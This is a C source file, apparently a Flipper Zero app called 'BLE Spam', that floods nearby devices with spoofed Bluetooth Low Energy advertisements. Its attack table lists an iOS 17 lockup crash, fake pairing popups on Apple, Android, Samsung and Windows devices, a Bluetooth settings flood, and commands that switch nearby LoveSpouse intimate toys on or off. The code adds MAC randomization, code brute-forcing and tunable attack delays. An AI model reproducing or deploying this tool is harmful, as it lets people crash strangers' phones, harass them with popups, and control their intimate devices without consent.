ble_spam.c 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <extra_beacon.h>
  5. #include <gui/elements.h>
  6. #include "protocols/_protocols.h"
  7. // Hacked together by @Willy-JL
  8. // Custom adv API by @Willy-JL (idea by @xMasterX)
  9. // iOS 17 Crash by @ECTO-1A
  10. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  11. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  12. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  13. static Attack attacks[] = {
  14. {
  15. .title = "The Kitchen Sink",
  16. .text = "Flood all attacks at once",
  17. .protocol = NULL,
  18. .payload =
  19. {
  20. .random_mac = true,
  21. .cfg = {},
  22. },
  23. },
  24. {
  25. .title = "BT Settings Flood",
  26. .text = "Fills available BT devices",
  27. .protocol = &protocol_nameflood,
  28. .payload =
  29. {
  30. .random_mac = true,
  31. .cfg.nameflood = {},
  32. },
  33. },
  34. {
  35. .title = "iOS 17 Lockup Crash",
  36. .text = "Newer iPhones, long range",
  37. .protocol = &protocol_continuity,
  38. .payload =
  39. {
  40. .random_mac = false,
  41. .cfg.continuity =
  42. {
  43. .type = ContinuityTypeCustomCrash,
  44. },
  45. },
  46. },
  47. {
  48. .title = "Apple Action Modal",
  49. .text = "Lock cooldown, long range",
  50. .protocol = &protocol_continuity,
  51. .payload =
  52. {
  53. .random_mac = false,
  54. .cfg.continuity =
  55. {
  56. .type = ContinuityTypeNearbyAction,
  57. },
  58. },
  59. },
  60. {
  61. .title = "Apple Device Popup",
  62. .text = "No cooldown, close range",
  63. .protocol = &protocol_continuity,
  64. .payload =
  65. {
  66. .random_mac = false,
  67. .cfg.continuity =
  68. {
  69. .type = ContinuityTypeProximityPair,
  70. },
  71. },
  72. },
  73. {
  74. .title = "Android Device Connect",
  75. .text = "Reboot cooldown, long range",
  76. .protocol = &protocol_fastpair,
  77. .payload =
  78. {
  79. .random_mac = true,
  80. .cfg.fastpair = {},
  81. },
  82. },
  83. {
  84. .title = "Samsung Buds Popup",
  85. .text = "No cooldown, long range",
  86. .protocol = &protocol_easysetup,
  87. .payload =
  88. {
  89. .random_mac = true,
  90. .cfg.easysetup =
  91. {
  92. .type = EasysetupTypeBuds,
  93. },
  94. },
  95. },
  96. {
  97. .title = "Samsung Watch Pair",
  98. .text = "No cooldown, long range",
  99. .protocol = &protocol_easysetup,
  100. .payload =
  101. {
  102. .random_mac = true,
  103. .cfg.easysetup =
  104. {
  105. .type = EasysetupTypeWatch,
  106. },
  107. },
  108. },
  109. {
  110. .title = "Windows Device Found",
  111. .text = "No cooldown, short range",
  112. .protocol = &protocol_swiftpair,
  113. .payload =
  114. {
  115. .random_mac = true,
  116. .cfg.swiftpair = {},
  117. },
  118. },
  119. {
  120. .title = "Vibrate 'em All",
  121. .text = "Activate all LoveSpouse toys",
  122. .protocol = &protocol_lovespouse,
  123. .payload =
  124. {
  125. .random_mac = true,
  126. .cfg.lovespouse =
  127. {
  128. .state = LovespouseStatePlay,
  129. },
  130. },
  131. },
  132. {
  133. .title = "Denial of Pleasure",
  134. .text = "Disable all LoveSpouse toys",
  135. .protocol = &protocol_lovespouse,
  136. .payload =
  137. {
  138. .random_mac = true,
  139. .cfg.lovespouse =
  140. {
  141. .state = LovespouseStateStop,
  142. },
  143. },
  144. },
  145. };
  146. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  147. static uint16_t delays[] = {20, 50, 100, 200, 500};
  148. typedef struct {
  149. Ctx ctx;
  150. View* main_view;
  151. bool lock_warning;
  152. uint8_t lock_count;
  153. FuriTimer* lock_timer;
  154. bool advertising;
  155. uint8_t delay;
  156. GapExtraBeaconConfig config;
  157. FuriThread* thread;
  158. int8_t index;
  159. bool ignore_bruteforce;
  160. } State;
  161. const NotificationSequence solid_message = {
  162. &message_red_0,
  163. &message_green_255,
  164. &message_blue_255,
  165. &message_do_not_reset,
  166. &message_delay_10,
  167. NULL,
  168. };
  169. NotificationMessage blink_message = {
  170. .type = NotificationMessageTypeLedBlinkStart,
  171. .data.led_blink.color = LightBlue | LightGreen,
  172. .data.led_blink.on_time = 10,
  173. .data.led_blink.period = 100,
  174. };
  175. const NotificationSequence blink_sequence = {
  176. &blink_message,
  177. &message_do_not_reset,
  178. NULL,
  179. };
  180. static void start_blink(State* state) {
  181. uint16_t period = delays[state->delay];
  182. if(period <= 100) period += 30;
  183. blink_message.data.led_blink.period = period;
  184. notification_message_block(state->ctx.notification, &blink_sequence);
  185. }
  186. static void stop_blink(State* state) {
  187. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  188. }
  189. static void randomize_mac(State* state) {
  190. furi_hal_random_fill_buf(state->config.address, sizeof(state->config.address));
  191. }
  192. static void start_extra_beacon(State* state) {
  193. uint8_t size;
  194. uint8_t* packet;
  195. uint16_t delay = delays[state->delay];
  196. GapExtraBeaconConfig* config = &state->config;
  197. Payload* payload = &attacks[state->index].payload;
  198. const Protocol* protocol = attacks[state->index].protocol;
  199. config->min_adv_interval_ms = delay;
  200. config->max_adv_interval_ms = delay * 1.5;
  201. if(payload->random_mac) randomize_mac(state);
  202. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  203. if(protocol) {
  204. protocol->make_packet(&size, &packet, payload);
  205. } else {
  206. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  207. }
  208. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  209. free(packet);
  210. furi_check(furi_hal_bt_extra_beacon_start());
  211. }
  212. static int32_t adv_thread(void* _ctx) {
  213. State* state = _ctx;
  214. Payload* payload = &attacks[state->index].payload;
  215. const Protocol* protocol = attacks[state->index].protocol;
  216. if(!payload->random_mac) randomize_mac(state);
  217. if(state->ctx.led_indicator) start_blink(state);
  218. while(state->advertising) {
  219. if(protocol && payload->mode == PayloadModeBruteforce &&
  220. payload->bruteforce.counter++ >= 10) {
  221. payload->bruteforce.counter = 0;
  222. payload->bruteforce.value =
  223. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  224. }
  225. start_extra_beacon(state);
  226. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  227. furi_hal_bt_extra_beacon_stop();
  228. }
  229. if(state->ctx.led_indicator) stop_blink(state);
  230. return 0;
  231. }
  232. static void toggle_adv(State* state) {
  233. if(state->advertising) {
  234. state->advertising = false;
  235. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  236. furi_thread_join(state->thread);
  237. } else {
  238. state->advertising = true;
  239. furi_thread_start(state->thread);
  240. }
  241. }
  242. #define PAGE_MIN (-5)
  243. #define PAGE_MAX ATTACKS_COUNT
  244. enum {
  245. PageHelpBruteforce = PAGE_MIN,
  246. PageHelpApps,
  247. PageHelpDelay,
  248. PageHelpDistance,
  249. PageHelpInfoConfig,
  250. PageStart = 0,
  251. PageEnd = ATTACKS_COUNT - 1,
  252. PageAboutCredits = PAGE_MAX,
  253. };
  254. static void draw_callback(Canvas* canvas, void* _ctx) {
  255. State* state = *(State**)_ctx;
  256. const char* back = "Back";
  257. const char* next = "Next";
  258. if(state->index < 0) {
  259. back = "Next";
  260. next = "Back";
  261. }
  262. switch(state->index) {
  263. case PageStart - 1:
  264. next = "Spam";
  265. break;
  266. case PageStart:
  267. back = "Help";
  268. break;
  269. case PageEnd:
  270. next = "About";
  271. break;
  272. case PageEnd + 1:
  273. back = "Spam";
  274. break;
  275. }
  276. const Attack* attack =
  277. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  278. const Payload* payload = attack ? &attack->payload : NULL;
  279. const Protocol* protocol = attack ? attack->protocol : NULL;
  280. canvas_set_font(canvas, FontSecondary);
  281. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  282. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  283. switch(state->index) {
  284. case PageHelpBruteforce:
  285. canvas_set_font(canvas, FontBatteryPercent);
  286. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  287. elements_text_box(
  288. canvas,
  289. 4,
  290. 16,
  291. 120,
  292. 48,
  293. AlignLeft,
  294. AlignTop,
  295. "\e#Bruteforce\e# cycles codes\n"
  296. "to find popups, hold left and\n"
  297. "right to send manually and\n"
  298. "change delay",
  299. false);
  300. break;
  301. case PageHelpApps:
  302. canvas_set_font(canvas, FontBatteryPercent);
  303. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  304. elements_text_box(
  305. canvas,
  306. 4,
  307. 16,
  308. 120,
  309. 48,
  310. AlignLeft,
  311. AlignTop,
  312. "\e#Some Apps\e# interfere\n"
  313. "with the attacks, stay on\n"
  314. "homescreen for best results",
  315. false);
  316. break;
  317. case PageHelpDelay:
  318. canvas_set_font(canvas, FontBatteryPercent);
  319. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  320. elements_text_box(
  321. canvas,
  322. 4,
  323. 16,
  324. 120,
  325. 48,
  326. AlignLeft,
  327. AlignTop,
  328. "\e#Delay\e# is time between\n"
  329. "attack attempts (top right),\n"
  330. "keep 20ms for best results",
  331. false);
  332. break;
  333. case PageHelpDistance:
  334. canvas_set_font(canvas, FontBatteryPercent);
  335. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  336. elements_text_box(
  337. canvas,
  338. 4,
  339. 16,
  340. 120,
  341. 48,
  342. AlignLeft,
  343. AlignTop,
  344. "\e#Distance\e# varies greatly:\n"
  345. "some are long range (>30 m)\n"
  346. "others are close range (<1 m)",
  347. false);
  348. break;
  349. case PageHelpInfoConfig:
  350. canvas_set_font(canvas, FontBatteryPercent);
  351. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  352. elements_text_box(
  353. canvas,
  354. 4,
  355. 16,
  356. 120,
  357. 48,
  358. AlignLeft,
  359. AlignTop,
  360. "See \e#more info\e# and change\n"
  361. "\e#attack options\e# by holding\n"
  362. "Ok on each attack page",
  363. false);
  364. break;
  365. case PageAboutCredits:
  366. canvas_set_font(canvas, FontBatteryPercent);
  367. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  368. elements_text_box(
  369. canvas,
  370. 4,
  371. 16,
  372. 122,
  373. 48,
  374. AlignLeft,
  375. AlignTop,
  376. "App+Spam: \e#WillyJL\e# MNTM\n"
  377. "Apple+Crash: \e#ECTO-1A\e#\n"
  378. "Android+Win: \e#Spooks4576\e#\n"
  379. " Version \e#" FAP_VERSION "\e#",
  380. false);
  381. break;
  382. default: {
  383. if(!attack) break;
  384. if(state->ctx.lock_keyboard && !state->advertising) {
  385. // Forgive me Lord for I have sinned by handling state in draw
  386. toggle_adv(state);
  387. }
  388. char str[32];
  389. canvas_set_font(canvas, FontBatteryPercent);
  390. if(payload->mode == PayloadModeBruteforce) {
  391. snprintf(
  392. str,
  393. sizeof(str),
  394. "0x%0*lX",
  395. payload->bruteforce.size * 2,
  396. payload->bruteforce.value);
  397. } else {
  398. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  399. }
  400. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  401. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  402. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  403. canvas_set_font(canvas, FontBatteryPercent);
  404. if(payload->mode == PayloadModeBruteforce) {
  405. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  406. if(delays[state->delay] < 100) {
  407. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  408. } else {
  409. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  410. }
  411. uint16_t w = canvas_string_width(canvas, str);
  412. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  413. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  414. canvas_invert_color(canvas);
  415. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  416. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  417. canvas_invert_color(canvas);
  418. } else {
  419. snprintf(
  420. str,
  421. sizeof(str),
  422. "%02i/%02i: %s",
  423. state->index + 1,
  424. ATTACKS_COUNT,
  425. protocol ? protocol->get_name(payload) : "Everything AND");
  426. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  427. }
  428. canvas_set_font(canvas, FontPrimary);
  429. canvas_draw_str(canvas, 4, 33, attack->title);
  430. canvas_set_font(canvas, FontSecondary);
  431. canvas_draw_str(canvas, 4, 46, attack->text);
  432. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  433. break;
  434. }
  435. }
  436. if(state->index > PAGE_MIN) {
  437. elements_button_left(canvas, back);
  438. }
  439. if(state->index < PAGE_MAX) {
  440. elements_button_right(canvas, next);
  441. }
  442. if(state->lock_warning) {
  443. canvas_set_font(canvas, FontSecondary);
  444. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  445. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  446. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  447. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  448. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  449. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  450. canvas_draw_dot(canvas, 17, 61);
  451. }
  452. }
  453. static bool input_callback(InputEvent* input, void* _ctx) {
  454. View* view = _ctx;
  455. State* state = *(State**)view_get_model(view);
  456. bool consumed = false;
  457. if(state->ctx.lock_keyboard) {
  458. consumed = true;
  459. state->lock_warning = true;
  460. if(state->lock_count == 0) {
  461. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  462. furi_timer_start(state->lock_timer, 1000);
  463. }
  464. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  465. state->lock_count++;
  466. }
  467. if(state->lock_count >= 3) {
  468. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  469. furi_timer_start(state->lock_timer, 1);
  470. }
  471. } else if(
  472. input->type == InputTypeShort || input->type == InputTypeLong ||
  473. input->type == InputTypeRepeat) {
  474. consumed = true;
  475. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  476. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  477. bool advertising = state->advertising;
  478. switch(input->key) {
  479. case InputKeyOk:
  480. if(is_attack) {
  481. if(input->type == InputTypeLong) {
  482. if(advertising) toggle_adv(state);
  483. state->ctx.attack = &attacks[state->index];
  484. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  485. view_commit_model(view, consumed);
  486. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  487. return consumed;
  488. } else if(input->type == InputTypeShort) {
  489. toggle_adv(state);
  490. }
  491. }
  492. break;
  493. case InputKeyUp:
  494. if(is_attack) {
  495. if(payload->mode == PayloadModeBruteforce) {
  496. payload->bruteforce.counter = 0;
  497. payload->bruteforce.value =
  498. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  499. } else if(state->delay < COUNT_OF(delays) - 1) {
  500. state->delay++;
  501. if(advertising) start_blink(state);
  502. }
  503. }
  504. break;
  505. case InputKeyDown:
  506. if(is_attack) {
  507. if(payload->mode == PayloadModeBruteforce) {
  508. payload->bruteforce.counter = 0;
  509. payload->bruteforce.value =
  510. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  511. } else if(state->delay > 0) {
  512. state->delay--;
  513. if(advertising) start_blink(state);
  514. }
  515. }
  516. break;
  517. case InputKeyLeft:
  518. if(input->type == InputTypeLong) {
  519. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  520. true;
  521. }
  522. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  523. payload->mode != PayloadModeBruteforce) {
  524. if(state->index > PAGE_MIN) {
  525. if(advertising) toggle_adv(state);
  526. state->index--;
  527. }
  528. } else {
  529. if(!advertising) {
  530. Payload* payload = &attacks[state->index].payload;
  531. if(input->type == InputTypeLong && !payload->random_mac) randomize_mac(state);
  532. start_extra_beacon(state);
  533. if(state->ctx.led_indicator)
  534. notification_message(state->ctx.notification, &solid_message);
  535. furi_delay_ms(10);
  536. furi_hal_bt_extra_beacon_stop();
  537. if(state->ctx.led_indicator)
  538. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  539. }
  540. }
  541. break;
  542. case InputKeyRight:
  543. if(input->type == InputTypeLong) {
  544. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  545. true;
  546. }
  547. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  548. payload->mode != PayloadModeBruteforce) {
  549. if(state->index < PAGE_MAX) {
  550. if(advertising) toggle_adv(state);
  551. state->index++;
  552. }
  553. } else if(input->type == InputTypeLong) {
  554. state->delay = (state->delay + 1) % COUNT_OF(delays);
  555. if(advertising) start_blink(state);
  556. }
  557. break;
  558. case InputKeyBack:
  559. if(advertising) toggle_adv(state);
  560. consumed = false;
  561. break;
  562. default:
  563. break;
  564. }
  565. }
  566. view_commit_model(view, consumed);
  567. return consumed;
  568. }
  569. static void lock_timer_callback(void* _ctx) {
  570. State* state = _ctx;
  571. if(state->lock_count < 3) {
  572. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  573. } else {
  574. state->ctx.lock_keyboard = false;
  575. }
  576. with_view_model(
  577. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  578. state->lock_count = 0;
  579. furi_timer_set_thread_priority(FuriTimerThreadPriorityNormal);
  580. }
  581. static void tick_event_callback(void* _ctx) {
  582. State* state = _ctx;
  583. bool advertising;
  584. with_view_model(
  585. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  586. scene_manager_handle_tick_event(state->ctx.scene_manager);
  587. }
  588. static bool back_event_callback(void* _ctx) {
  589. State* state = _ctx;
  590. return scene_manager_handle_back_event(state->ctx.scene_manager);
  591. }
  592. int32_t ble_spam(void* p) {
  593. UNUSED(p);
  594. GapExtraBeaconConfig prev_cfg;
  595. const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
  596. if(prev_cfg_ptr) {
  597. memcpy(&prev_cfg, prev_cfg_ptr, sizeof(prev_cfg));
  598. }
  599. uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
  600. uint8_t prev_data_len = furi_hal_bt_extra_beacon_get_data(prev_data);
  601. bool prev_active = furi_hal_bt_extra_beacon_is_active();
  602. State* state = malloc(sizeof(State));
  603. state->config.adv_channel_map = GapAdvChannelMapAll;
  604. state->config.adv_power_level = GapAdvPowerLevel_6dBm;
  605. state->config.address_type = GapAddressTypePublic;
  606. state->thread = furi_thread_alloc();
  607. furi_thread_set_callback(state->thread, adv_thread);
  608. furi_thread_set_context(state->thread, state);
  609. furi_thread_set_stack_size(state->thread, 2048);
  610. state->ctx.led_indicator = true;
  611. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  612. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  613. Gui* gui = furi_record_open(RECORD_GUI);
  614. state->ctx.view_dispatcher = view_dispatcher_alloc();
  615. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  616. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  617. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  618. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  619. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  620. state->main_view = view_alloc();
  621. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  622. with_view_model(
  623. state->main_view, State * *model, { *model = state; }, false);
  624. view_set_context(state->main_view, state->main_view);
  625. view_set_draw_callback(state->main_view, draw_callback);
  626. view_set_input_callback(state->main_view, input_callback);
  627. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  628. state->ctx.byte_input = byte_input_alloc();
  629. view_dispatcher_add_view(
  630. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  631. state->ctx.submenu = submenu_alloc();
  632. view_dispatcher_add_view(
  633. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  634. state->ctx.text_input = text_input_alloc();
  635. view_dispatcher_add_view(
  636. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  637. state->ctx.variable_item_list = variable_item_list_alloc();
  638. view_dispatcher_add_view(
  639. state->ctx.view_dispatcher,
  640. ViewVariableItemList,
  641. variable_item_list_get_view(state->ctx.variable_item_list));
  642. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  643. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  644. view_dispatcher_run(state->ctx.view_dispatcher);
  645. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  646. byte_input_free(state->ctx.byte_input);
  647. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  648. submenu_free(state->ctx.submenu);
  649. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  650. text_input_free(state->ctx.text_input);
  651. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  652. variable_item_list_free(state->ctx.variable_item_list);
  653. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  654. view_free(state->main_view);
  655. scene_manager_free(state->ctx.scene_manager);
  656. view_dispatcher_free(state->ctx.view_dispatcher);
  657. furi_record_close(RECORD_GUI);
  658. furi_record_close(RECORD_NOTIFICATION);
  659. furi_timer_free(state->lock_timer);
  660. furi_thread_free(state->thread);
  661. free(state);
  662. if(prev_cfg_ptr) {
  663. furi_check(furi_hal_bt_extra_beacon_set_config(&prev_cfg));
  664. }
  665. furi_check(furi_hal_bt_extra_beacon_set_data(prev_data, prev_data_len));
  666. if(prev_active) {
  667. furi_check(furi_hal_bt_extra_beacon_start());
  668. }
  669. return 0;
  670. }